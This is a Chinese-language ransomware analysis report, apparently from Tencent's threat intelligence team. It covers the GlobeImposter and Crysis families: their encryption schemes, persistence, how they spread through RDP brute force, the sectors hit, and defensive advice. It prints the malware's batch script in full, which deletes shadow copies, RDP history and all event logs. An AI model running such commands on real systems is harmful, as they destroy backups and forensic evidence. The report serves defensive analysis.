0×1 概述
2018开年以来,针对Windows服务器的勒索病毒攻击此起彼伏,尤其是年初国内数家机构服务器同时被GlobeImposter勒索病毒攻击,黑客在突破企业防护边界后释放并运行勒索病毒,最终导致系统被破坏,日常业务大面积瘫痪,服务器安全问题开始备受关注。
根据腾讯御见威胁情报中心监测,近一个多月以来,每周都有企业Windows服务器遭受勒索病毒攻击,针对服务器的勒索病毒攻击呈现走高趋势。进入4月份以来,两大针对服务器攻击的勒索病毒家族(GlobeImposter和Crysis家族)均出现爆发传播的迹象。
企业服务器上的数据文件一旦被加密,将严重威胁到公司的正常运转,企业也更倾向于向不法黑客交付赎金。服务器或将成为不法黑客传播勒索病毒的重点攻击目标。对此,腾讯御见威胁情报中心对近期持续活跃的服务器勒索病毒攻击进行了深入的盘点分析,同时为企业安全部门提供针对性的应对方案。
0×2 针对服务器攻击的两大勒索病毒家族
针对服务器攻击的勒索病毒主要有两大家族,分别是Crysis和GlobeImposter。Crysis家族最早可以追溯到2016年3月,进入2017年之后开始较大范围传播。Crysis家族主要针对Windows服务器展开攻击。GlobeImposter同样是个较老的勒索病毒家族,其初期主要通过钓鱼邮件针对个人用户发起攻击,进入2018年以来,重点攻击目标逐步转向服务器。
1)GlobeImposter样本分析
①勒索病毒整体加密过程
勒索病毒使用了RSA+AES加密方式,加密过程中涉及两对RSA密钥(分别为黑客公私钥和用户公私钥,分别用hacker_rsa_xxx和user_rsa_xxx表示这两对密钥)和一对AES密钥。黑客RSA密钥用于加密用户RSA密钥,用户RSA密钥用于加密AES密钥,AES密钥用于加密文件内容。
具体的加密过程为:勒索病毒首先解码出一个内置的RSA公钥(hacker_rsa_pub),同时对每个受害用户,使用RSA生成公私钥(user_rsa_pub和user_rsa_pri),其中生成的密钥信息使用内置的RSA公钥(hacker_rsa_Public)进行加密后,做为用户ID。在遍历系统文件,对符合加密要求的文件进行加密。对每个文件,通过CoCreateGuid生成一个唯一标识符,并由该唯一标识符最终生成AES密钥(记为file_aes_key),对文件进行加密。在加密文件的过程中,该唯一标识符会通过RSA公钥 (user_rsa_pub) 加密后保存到文件中。
黑客在收到赎金、用户ID和文件后,通过自己的私钥(hacker_rsa_pri)解密用户ID,可以得到user_rsa_pri,使用user_rsa_pri解密文件,就可以得到文件的file_aes_key,进而可以通过AES算法解密出原始文件。
下面对样本中使用的一些技术手段进行分析。
②加密字符解密算法
软件中的字符及内置的公钥等信息都以加密的方式保存,加密使用的为AES算法,函数00409392为解密算法函数,函数包含5个参数,每个参数的含义如下:
参数1:返回值,解密后的内容
参数2:返回值,解密后的内容的长度
参数3:解密key
参数4:解密key的长度
参数5:文件句柄,如果文件句柄不为空,就将解密后的内容写入到该文件句柄对应的文件中
对aes_crypt函数,使用mbedtls_aes_crypt_ecb进行AES解密操作。
通过IDA的上下文交叉引用,看到共有七处调用了MyAESDecode函数进行解密内容,这七处调用功能解释如下:
③解码排除文件夹与排除后缀名
恶意样本在勒索过程中对包含某些特殊字符的文件夹进行绕过,这些特殊的字符解码算法如下:
1. 使用“CC 0B E4 F0 69 F6 AE 6F FF CC BF D9 2C E7 36 EE 21 79 2B 85 83 39 D6 32 F5 77 26 8C 2C DD 38 4A”作为AES key,利用2.2中的解密算法,解密00401158处硬编码的0x210大小的数据内容,解密后的内容为硬编码的RSA公钥(hacker_rsa_pub)。
2. 对上面解密出来的RSA公钥(hacker_rsa_pub)计算SHA256,计算sha256的代码片段如下:
3. 使用sha256的值做为AES key,再次利用2.2中的解密算法,解密出字符串列表。
解密出的字符串列表:
④用户ID的生成
勒索病毒运行后,会在用户机器上生成名为”60091F9FF415A9DD5FDFF0D880249E69F883A75D0242CE20D6E6A90CC5AEAFDE”的文件,此文件名为内置的公钥的SHA256哈希值。该文件中保存了用户ID信息。
用户ID的生成算法为:勒索病毒首先通过RSA-1024生成用户公私钥(user_rsa_pub和user_rsa_pri),将生成的密钥中的rsa.P与rsa.Q拼接上“.TRUE.HOWBACKFILE”等内容后,使用内置的公钥(hacker_rsa_pub)加密,结果作为用户ID,同时,生成的公钥(user_rsa_pub)会做为后面遍历文件系统时的加密key使用。可见,该用户ID也经过了RSA公钥(hacker_rsa_pub)的加密,在没有私钥(hacker_rsa_pri)的情况下,很难还原出RSA-1024的密钥内容。
⑤文件加密过程
通过GetLogicalDrives得到盘符信息,对每个盘符开启一个线程进行加密,每个线程函数的参数包含三部分内容:当前盘符路径,加密key(user_rsa_pub),用户ID。
判断文件路径是不是属于排除路径:
函数sub_4094D9会实现对文件的加密,对文件的加密使用的是AES加密算法。下面将详细介绍该函数的过程。
AES加密的KEY通过CoCreateGuid生成,CoCreateGuid函数功能为生成全局唯一标识符,勒索病毒使用该全局唯一标识符做为secret_key, secret_key用来生成AES的加密key.。
AES加密时的IV参数由当前文件的大小和文件路径共同生成。IV参数将MD(filesize|| filename )后取前16位。
将IV和secret key使用MBEDTLS_MD_SHA256计算8192次HASH,并将HASH结果做为AES加密的KEY。
随后,使用内置的RSA公钥将guid进行加密,并将加密过的guid及用户ID写入到当前文件中。
最后,使用AES算法将文件内容加密。
AES加密算法过程如下:
⑥自启动
勒索病毒通过在RunOnce注册表下新建名为BrowserUpdateCheck的键值,达到开机自启动的目的。部分代码如下:
⑦自删除
通过调用CMD /c del来实现自删除,部分代码如下:
⑧删除远程桌面连接信息及事件日志
解密bat文件后释放到临时目录下,并加载运行。
解密出来的bat文件内容如下:
@echo off
vssadmin.exe Delete Shadows /All /Quiet
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
Bat会删除远程桌面连接信息文件default.rdp,并通过wevtutil.exe cl命令删除日志信息。
2)Crysis样本分析
①病毒通过自建IAT的方式,运行后首先解密需要使用的动态库,API字串,随后通过LoadLibraryA,GetProcAddress循环遍历来动态获取解析使用的API,获取函数地址后填充IAT表,随后病毒所有的API调用均使用:
MOV EAX,[IAT-FUN-ADDR]
jmp 004066c0
004066c0:Call EAX
的方式来间接调用,这样做也导致了静态分析情况下导入表中无法看到病毒调用相关敏感Api。
②运行后的病毒首先会关闭以下大量服务,来确保待加密文件不被占用,加密文件时不会产生异常。
③同时结束下列进程,主要为数据库相关进程,其目的也是为了防止加密文件被占用,从关闭的进程列表也可看出,病毒主要攻击使用sqlserver,mysql数据库的服务器。
④病毒不仅会加密磁盘本地文件,还会尝试便利网络共享目录下的文件来进行加密。
⑤通过在内存中解密出加密文件类型后缀可知,病毒加密了以下340余种文件类型。
.1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;
⑥为了不影响系统正常运行,病毒加密文件的时候,还会避开以下系统文件不加密,避免因为加密系统文件后产生系统异常。
⑦加密文件完成后的病毒会运行释放在自身目录下Info.exe文件来显示勒索信息,病毒作者要求受害者24小时内联系邮箱badfile@qq.com,进一步通过支付比特币的方式缴纳解密文件赎金。并且病毒作者声称解密文件所需支付的比特币数量取决于受害者写邮件的速度,从而威胁受害者尽快与病毒作者联系。
0×3 常见传播渠道
通过分析多起针对Windows服务器的勒索病毒攻击,发现此类攻击大多利用弱口令漏洞、系统漏洞等方式获得远程登录用户名和密码,之后通过RDP(远程桌面协议)远程登录目标服务器运行勒索病毒。黑客一旦能够成功登录服务器,则可以在服务器上为所欲为。这也意味着,即使服务器上安装了安全软件也有可能会被黑客手动退出。
以某公司的服务器为例,通过系统安全日志可以看到,该服务器平均每隔几秒就会被尝试通过RDP协议爆破一次。
通过详细信息可以看到,最终被俄罗斯的一个IP成功远程登录。
即使公司有较好的安全意识,没有将服务器直接暴露在公网下,黑客虽然无法直接RDP爆破登陆服务器,但依然有办法成功入侵。比如,近期某公司反馈的内网数台Windows服务器都被勒索病毒攻击,但被勒索病毒攻击的几台服务器并没有直连外网。通过分析,黑客是先入侵了该公司官网的Web服务器,而该公司的Web服务器与公司内网相通,进而使得黑客可以通过Web服务器进行内网渗透,攻击内网各个服务器。
0×4 受攻击的行业分布
1)地域分布
对受攻击企业地域进行分析,江苏和广东被攻击的企业最多,之后分别是山东和北京。
2)行业分布
通过对受攻击的企业用户进行分析,遭到服务器勒索攻击的行业主要为传统行业,分别为政府机关、工业和医疗行业。传统行业在信息安全上往往投入较少,服务器安全意识、安全规范意识相对薄弱。
0×5 解决方案
腾讯御见威胁情报中心提醒企业用户:
1、 不要点击来源不明的邮件附件。
2、 及时打补丁,修复系统或第三方软件中存在的安全漏洞。
3、 尽量关闭不必要的端口,如:445、135,139等,对3389端口可进行白名单配置,只允许白名单内的ip连接登陆。
4、 尽量关闭不必要的文件共享,如有需要,请使用ACL和强密码保护来限制访问权限,禁用对共享文件夹的匿名访问。
5、 采用高强度的密码,避免使用弱口令密码,并定期更换密码。建议服务器密码使用高强度且无规律密码,并且强制要求每个服务器使用不同密码管理。
6、 对没有互联需求的服务器/工作站内部访问设置相应控制,避免可连外网服务器被攻击后作为跳板进一步攻击其他服务器。
7、 对重要文件和数据(数据库等数据)进行定期非本地备份。
8、 在终端/服务器部署专业安全防护软件,Web服务器可考虑部署在腾讯云等具备专业安全防护能力的云服务。
推荐企业用户使用腾讯御点终端安全管理系统(下载地址:https://s.tencent.com/product/yd/index.html),有效防御企业内网终端的病毒木马攻击。御点终端安全管理系统具备终端杀毒统一管控、修复漏洞统一管控,以及策略管控等全方位的安全管理功能,可帮助企业管理者全面了解、管理企业内网安全状况、保护企业安全。
此外,推荐企业用户使用腾讯御界防APT邮件网关(下载地址:https://s.tencent.com/product/yjwg/index.html),通过对邮件多维度信息的综合分析,可迅速识别钓鱼邮件、病毒木马附件、漏洞利用附件等威胁,有效防范邮件安全风险,保护企业免受数据和财产损失。